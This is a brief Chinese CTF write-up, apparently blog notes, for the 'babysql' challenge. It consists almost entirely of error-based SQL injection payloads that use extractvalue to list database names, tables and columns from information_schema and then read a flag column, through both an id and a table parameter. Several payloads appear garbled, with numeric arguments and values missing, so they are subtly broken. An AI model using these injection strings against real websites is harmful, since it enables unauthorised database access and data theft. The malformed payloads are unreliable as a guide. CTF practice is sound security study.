安恒杯-babysql

1. 库名

?id= and extractvalue(,(select group_concat(0x3a,schema_name) from information_schema.schemata))#

2. 表名

?id= and extractvalue(,(select group_concat(0x3a,table_name) from information_schema.tables where table_schema='errorerror'))#

3. 猜列名的时候出了问题

?id= and extractvalue(,(select group_concat(0x3a,column_name) from information_schema.columns where table_name='error_flag'))#

测试table字段可以注入（参考http://www.bubuko.com/infodetail-2392442.html的wp）

1. 库名

?table=flag`%` where =extractvalue(,(select group_concat(0x3a,schema_name) from information_schema.schemata))%`&id=

2. 表名

?table=flag`%` where =extractvalue(,(select group_concat(0x3a,table_name) from information_schema.tables where table_schema='errorerror'))%`&id= 

3. 列名

?table=flag`%` where =extractvalue(,(select group_concat(0x3a,column_name) from information_schema.columns where table_name='error_flag'))%`&id=

4. 内容

?table=flag`%` where =extractvalue(,(select flag_you_will_never_know from error_flag))%`&id=

记录一下，方便之后查看

本文固定链接：http://www.cnblogs.com/hell0w/p/8120585.html